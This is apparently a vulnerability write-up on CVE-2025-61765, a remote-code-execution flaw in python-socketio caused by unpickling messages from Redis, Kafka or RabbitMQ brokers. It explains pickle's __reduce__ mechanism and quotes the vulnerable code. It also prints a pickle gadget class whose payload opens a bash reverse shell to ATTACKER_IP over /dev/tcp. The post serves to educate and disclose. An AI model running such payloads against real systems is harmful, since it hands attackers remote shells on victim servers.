CVE-2025-61765: RCE in Socket.IO via Pickle Deserialization
by locus-x64 Raza
Vulnerability
I came across this CVE while looking into pickle deserialization vulnerabilities in Python applications.
CVE-2025-61765 is a Remote Code Execution (RCE) vulnerability in python-socketio library. It affects multi-server setups that use message brokers like Redis, Kafka, or RabbitMQ. The root cause is unsafe use of Python’s pickle module, the library deserializes data from message channels without any validation, letting attackers run arbitrary code on all connected servers.
Before we dive into the vulnerability, let’s first understand what Pickle is and why deserializing untrusted pickle data is dangerous.
What is Pickle?
Pickle is Python’s built-in module for serialization. Serialization is just converting Python objects (like lists, dicts, or custom classes) into a byte stream that you can save to a file or send over the network. Deserialization is the reverse, turning those bytes back into Python objects.
Here’s a simple example:
import pickle
# Some data we want to save
user_data = {
'name': 'locus-x64',
'age': 25,
'skills': ['python', 'security']
}
# Serialize (convert to bytes)
pickled = pickle.dumps(user_data)
print(pickled) # b'\x80\x04\x95...' (raw bytes)
# Deserialize (convert back to Python object)
restored = pickle.loads(pickled)
print(restored) # {'name': 'locus-x64', 'age': 25, 'skills': ['python', 'security']}
Pretty useful, right? You can save complex Python objects and restore them later. But here’s the problem…
Why Pickle Deserialization is Dangerous?
Pickle isn’t just a simple data format like JSON. It’s actually a small virtual machine that can execute instructions during deserialization. When you call pickle.loads(), you’re basically running a program embedded in that byte stream.
The Python docs even have a big warning:
Warning: The pickle module is not secure. Only unpickle data you trust.
But why? Let me show you.
The __reduce__ Method
When pickle serializes a custom object, it calls the object’s __reduce__ method to figure out how to rebuild it later. The trick is that __reduce__ can return any function with any arguments, and pickle will call it during deserialization.
import pickle
import os
class Evil:
def __reduce__(self):
# This gets called when pickle.loads() runs
return (os.system, ('whoami',))
# Serialize the evil object
payload = pickle.dumps(Evil())
# When someone loads this...
pickle.loads(payload) # RUNS: os.system('whoami')
That’s it. When pickle.loads() processes this payload, it calls os.system('whoami'). No questions asked. No checks. Just blind execution.
You can run any Python function this way:
class ReverseShell:
def __reduce__(self):
cmd = "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
return (os.system, (cmd,))
Now imagine someone sends this payload to your application and your code runs pickle.loads() on it. Game over.
The Socket.IO Vulnerability
Now that you understand why pickle is dangerous, let’s look at how python-socketio messed up.
Socket.IO Architecture
Socket.IO is a library for real-time communication (think chat apps, live notifications, etc.). When you scale to multiple servers, they need to talk to each other to keep track of connected clients. For this, python-socketio uses message brokers:
- RedisManager - Redis pub/sub
- KafkaManager - Kafka topics
- KombuManager - RabbitMQ
The flow is simple:
- Server A wants to send a message to all clients
- Server A serializes the message and publishes to Redis
- All other servers subscribe to Redis and receive the message
- Each server deserializes the message and sends to their clients
Step 4 is where the bug is.
The Vulnerable Code
Here’s the code from async_pubsub_manager.py:
async for message in self._listen():
data = None
if isinstance(message, dict):
data = message
else:
if isinstance(message, bytes):
try:
data = pickle.loads(message) # [!] VULNERABILITY
except:
pass
# ...
See the problem? Any bytes coming from the message broker get passed to pickle.loads(). No signature check. No validation. Nothing.
If an attacker can publish to the Redis channel (maybe through a misconfigured broker, or by compromising another service), they can send a malicious pickle payload. Every Socket.IO server subscribed to that channel will execute the attacker’s code.
Exploitation Scenario and BlueRock’s Detection
BlueRock has demonstrated a detailed exploitation scenario along with a proof-of-concept (PoC) in their blog post. Their demo shows the full attack chain:
- A victim Socket.IO server running with multiple instances connected via Redis
- An attacker with access to the same Redis instance (simulating a compromised edge server)
- The attacker crafts a malicious pickle payload designed to write an SSH key to
~/.ssh/authorized_keys - The payload is published to the Redis
socketiochannel - All subscribed Socket.IO servers immediately deserialize and execute the payload
The attack requires no user interaction, Socket.IO servers are constantly listening to their channels. The moment a malicious payload arrives, it gets executed automatically.
BlueRock also showcased their runtime protection that can detect and block pickle deserialization attacks. Check out their blog for the full demo video.
References
- https://www.bluerock.io/post/cve-2025-61765-bluerock-discovers-critical-rce-in-socket-io-ecosystem
- https://github.com/miguelgrinberg/python-socketio/pull/1502
- https://cwe.mitre.org/data/definitions/502.html
, locus-x64
tags: Vulnerability Research - Python - Deserialization